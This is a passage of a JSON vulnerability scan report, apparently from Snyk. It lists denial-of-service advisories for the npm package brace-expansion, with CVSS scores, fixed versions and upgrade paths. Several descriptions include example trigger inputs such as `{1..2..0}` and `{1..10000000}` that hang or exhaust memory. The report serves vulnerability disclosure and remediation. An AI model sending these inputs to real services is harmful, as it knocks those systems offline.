"https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": 